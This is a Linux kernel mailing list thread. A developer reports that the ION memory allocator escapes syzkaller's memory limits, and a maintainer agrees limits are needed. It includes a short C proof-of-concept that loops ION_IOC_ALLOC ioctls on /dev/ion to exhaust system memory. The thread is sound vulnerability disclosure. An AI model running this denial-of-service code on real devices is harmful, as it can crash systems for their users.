On 7/17/19 12:31 PM, Alexander Popov wrote:
Hello!
The syzkaller [1] has a trouble with fuzzing the Linux kernel with ION Memory
Allocator.
Syzkaller uses several methods [2] to limit memory consumption of the userspace
processes calling the syscalls for testing the kernel:
- setrlimit(),
- cgroups,
- various sysctl.
But these methods don't work for ION Memory Allocator, so any userspace process
that has access to /dev/ion can bring the system to the out-of-memory state.
An example of a program doing that:
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <linux/types.h>
#include <sys/ioctl.h>
#define ION_IOC_MAGIC 'I'
#define ION_IOC_ALLOC _IOWR(ION_IOC_MAGIC, 0, \
struct ion_allocation_data)
struct ion_allocation_data {
__u64 len;
__u32 heap_id_mask;
__u32 flags;
__u32 fd;
__u32 unused;
};
int main(void)
{
unsigned long i = 0;
int fd = -1;
struct ion_allocation_data data = {
.len = 0x13f65d8c,
.heap_id_mask = 1,
.flags = 0,
.fd = -1,
.unused = 0
};
fd = open("/dev/ion", 0);
if (fd == -1) {
perror("[-] open /dev/ion");
return 1;
}
while (1) {
printf("iter %lu\n", i);
ioctl(fd, ION_IOC_ALLOC, &data);
i++;
}
return 0;
}
I looked through the code of ion_alloc() and didn't find any limit checks.
Is it currently possible to limit ION kernel allocations for some process?
If not, is it a right idea to do that?
Thanks!
Yes, I do think that's the right approach. We're working on moving Ion
out of staging and this is something I mentioned to John Stultz. I don't
think we've thought too hard about how to do the actual limiting so
suggestions are welcome.
Thanks,
Laura
Best regards,
Alexander
[1]: https://github.com/google/syzkaller
[2]: https://github.com/google/syzkaller/blob/master/executor/common_linux.h
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